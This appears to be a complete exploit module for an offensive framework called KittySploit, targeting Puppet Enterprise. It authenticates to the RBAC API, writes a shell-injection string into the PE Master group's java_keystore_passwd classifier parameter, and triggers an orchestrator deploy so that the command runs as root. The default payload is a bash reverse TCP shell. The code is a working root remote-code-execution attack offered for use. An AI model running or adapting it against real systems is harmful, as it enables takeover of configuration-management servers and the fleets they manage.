Puppet Enterprise keytool shell injection root RCE

"""Puppet Enterprise classifier keytool passwd injection (CVE-2025-5459 variant)."""
from __future__ import annotations
import json
import re
from kittysploit import *
from lib.protocols.http.http_client import Http_client

class Module(Exploit, Http_client):
    __info__ = {'name': 'Puppet Enterprise keytool shell injection root RCE', 'description': 'RBAC token → classifier PE Master group → java_keystore_passwd injection + trusted_infra_cacert trigger; orchestrator deploy runs agent.', 'author': ['KittySploit Team'], 'platform': Platform.LINUX, 'arch': [Arch.CMD], 'payload': {'default': 'payloads/singles/cmd/unix/bash_reverse_tcp', 'platform': Platform.UNIX, 'category': PayloadCategory.CMD}, 'references': ['CVE-2025-5459'], 'tags': ['puppet', 'pe', 'rce', 'authenticated'], 'agent': {'risk': 'critical', 'effects': ['active_exploitation', 'remote_code_execution'], 'expected_requests': 5, 'reversible': False, 'approval_required': True, 'produces': ['rce', 'shell'], 'chain': {'suggested_followups': ['scanner/http/puppet_keytool_injection_root_rce_detect']}}}
    MARKER_PATH = '/tmp/pe_rce_vuln001_marker'
    DUMMY_PEM = '-----BEGIN CERTIFICATE-----\nMIIBdummycontentfortriggeronly\n-----END CERTIFICATE-----\n'
    port = OptPort(4433, 'PE Console Services HTTPS port (classifier/rbac)', required=True)
    ssl = OptBool(True, 'Use HTTPS', required=False)
    orchestrator_port = OptPort(8143, 'Orchestrator API port for puppet agent run', required=False)
    username = OptString('admin', 'PE console login', required=True)
    password = OptString('', 'PE console password', required=True)
    puppet_environment = OptString('production', 'Orchestrator deploy environment', required=False)
    master_node = OptString('', 'Master certname for scope.nodes (required to trigger)', required=False)
    restore_params = OptBool(True, 'Clear injected classifier keys after run', required=False)
    marker_file = OptString(MARKER_PATH, 'Marker written by injected shell', required=False)

    def _console_request(self, method: str, path: str, body: dict | None=None, token: str | None=None) -> tuple[int, str]:
        headers = {'Content-Type': 'application/json', 'Accept': 'application/json'}
        if token:
            headers['X-Authentication'] = token
        data = json.dumps(body) if body is not None else None
        resp = self.http_request(method, path, data=data, headers=headers)
        if not resp:
            return (-1, 'request failed')
        return (int(resp.status_code or 0), (resp.text or '')[:4000])

    def _orchestrator_request(self, path: str, body: dict, token: str) -> tuple[int, str]:
        host = str(getattr(self, 'target', None) or getattr(self, 'rhost', None) or '')
        oport = int(self.orchestrator_port or 8143)
        saved_port = self.port
        try:
            self.port = oport
            headers = {'Content-Type': 'application/json', 'Accept': 'application/json', 'X-Authentication': token}
            resp = self.http_request('POST', path, data=json.dumps(body), headers=headers)
            if not resp:
                return (-1, 'orchestrator request failed')
            return (int(resp.status_code or 0), (resp.text or '')[:2000])
        finally:
            self.port = saved_port

    def _rbac_token(self) -> str | None:
        code, raw = self._console_request('POST', '/rbac-api/v1/auth/token', {'login': str(self.username or ''), 'password': str(self.password or '')})
        if code != 200:
            return None
        try:
            return json.loads(raw).get('token')
        except json.JSONDecodeError:
            return None

    def _master_group_id(self, token: str) -> str | None:
        code, raw = self._console_request('GET', '/classifier-api/v1/groups', token=token)
        if code != 200:
            return None
        try:
            groups = json.loads(raw)
        except json.JSONDecodeError:
            return None
        for group in groups:
            classes = group.get('classes', {}) or {}
            if 'puppet_enterprise::profile::master' in classes:
                return group.get('id')
        return None

    def _build_injection(self, command: str) -> str:
        marker = str(self.marker_file or self.MARKER_PATH)
        return f"x'; LC_ALL=C {command} > {marker} 2>&1; echo 'y"

    def execute(self, cmd: str) -> str:
        token = self._rbac_token()
        if not token:
            return 'RBAC auth failed on console port'
        group_id = self._master_group_id(token)
        if not group_id:
            return 'PE Master classifier group not found'
        injection = self._build_injection(cmd)
        body = {'classes': {'puppet_enterprise::profile::master': {'java_keystore_passwd': injection, 'trusted_infra_cacert': self.DUMMY_PEM}}}
        code, raw = self._console_request('POST', f'/classifier-api/v1/groups/{group_id}', body, token)
        if code not in (200, 204):
            return f'classifier inject failed HTTP {code}: {raw[:300]}'
        trigger_msg = 'orchestrator deploy not attempted (set master_node)'
        master = str(self.master_node or '').strip()
        if master:
            deploy_body = {'environment': str(self.puppet_environment or 'production'), 'scope': {'nodes': [master]}}
            tcode, traw = self._orchestrator_request('/orchestrator/v1/command/deploy', deploy_body, token)
            trigger_msg = f'orchestrator deploy HTTP {tcode}: {traw[:300]}'
        if bool(self.restore_params):
            restore = {'classes': {'puppet_enterprise::profile::master': {'java_keystore_passwd': None, 'trusted_infra_cacert': None}}}
            self._console_request('POST', f'/classifier-api/v1/groups/{group_id}', restore, token)
        marker = str(self.marker_file or self.MARKER_PATH)
        return f'classifier params injected on group {group_id}; {trigger_msg}; verify {marker} on master after agent run'

    def check(self):
        code, _ = self._console_request('POST', '/rbac-api/v1/auth/token', {'login': 'x', 'password': 'x'})
        if code in (401, 403, 200):
            return {'vulnerable': True, 'reason': 'PE console RBAC API reachable', 'confidence': 'low'}
        return {'vulnerable': False, 'reason': 'Console API not reachable', 'confidence': 'low'}

    def run(self):
        shell = self.shell_from_payload() or 'id'
        if not str(self.password or '').strip():
            print_error('Set PE console password')
            return False
        chk = self.check()
        if not chk.get('vulnerable'):
            print_error(chk.get('reason', 'Target not ready'))
            self.not_vulnerable()
            return False
        print_status('Classifier injection → orchestrator deploy (if master_node set)')
        print_info(self.execute(shell))
        self.vulnerable()
        return True